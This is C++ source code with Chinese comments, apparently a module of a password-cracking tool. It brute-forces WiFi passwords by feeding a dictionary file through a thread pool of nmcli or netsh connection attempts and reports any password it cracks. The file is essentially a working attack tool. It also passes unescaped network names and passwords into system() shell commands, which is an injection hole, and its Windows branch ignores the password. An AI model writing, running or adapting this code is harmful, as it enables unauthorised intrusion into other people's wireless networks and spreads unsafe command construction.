#include <cstdlib>
#include <string>
#include <project_config.h>

#ifdef _WIN32
#include <windows.h>
#else
#include <unistd.h>
#endif

using namespace std;

// 跨平台连接WiFi的函数
bool connect_WIFI(const std::string& name, const std::string& password) {
    bool success = false;

#ifdef _WIN32
    // Windows命令行命令来连接WiFi
    std::string command = "netsh wlan connect name=\"" + name + "\"";
    system(command.c_str()); // 使用系统命令连接到指定的WiFi网络
    success = true; // 假设连接成功，实际中应该检查返回状态

#else
    // Linux命令行命令来连接WiFi
    // 注意：这需要你的用户具有sudo权限，且网络管理器（NetworkManager）正在运行
    std::string command = "nmcli dev wifi connect \"" + name + "\" password \"" + password + "\"";
    int result = system(command.c_str()); // 使用系统命令连接到指定的WiFi网络
    success = (result == 0); // 如果命令执行成功，返回值为0

#endif

    return success;
}

void attack_wifi(const std::string& wifi_name,const string& password) {
    bool ok = connect_WIFI(wifi_name,password);
    if (ok) {
        //cout << 1239 << endl;
        attack_successful = true;
        real_password = password;
        return;
    } 
    
    //cout << "[TEST]" << range << " Passwd=" << password.c_str() << endl;
}


void run_wifi_attack_module(const std::string& wifi_name) {
    
    try
    {
        /* code */
        string default_passwd_dict = get_software_config("dict");
        string default_run_thread = get_software_config("default_thread");
        string fast_mod = get_software_config("fast");
        //cout << default_passwd_dict << endl;

        fast = (fast_mod == "true");

        const char split_charset = '\n';
        vector<string> passwd_list = split(get_file_content(default_passwd_dict),split_charset);

        int thread = stoi(default_run_thread);
        FixThreadPool pool(thread);

        cout << "[INFO] START ATTACK TARGET: " << wifi_name.c_str() << endl;
        cout << "[Notice] 快模式下有极大的概率出现socket连接重置等无法正确登录目标的行为." << endl;
        cout << "\n" << endl;
        for (int i = 0 ; i < passwd_list.size() ; i++) {
            string pwd = passwd_list[i];
            if (attack_successful) {
                cout << "[SUCCESSFUL] 成功破解目标: " << wifi_name.c_str() << ";密码=" << real_password.c_str() << endl;
                break;
            }
            if (!fast) {
                std::this_thread::sleep_for(std::chrono::milliseconds(1));
            }
            pool.submit_thread(attack_wifi , wifi_name,pwd);
            range++;
        }        
        //result.get();
    }
    catch(const std::exception& e)
    {
        std::cerr << e.what() << '\n';
        std::cerr << "[ERR] Run the module 'SSH Attack' Error." << "\n";
    }
    
}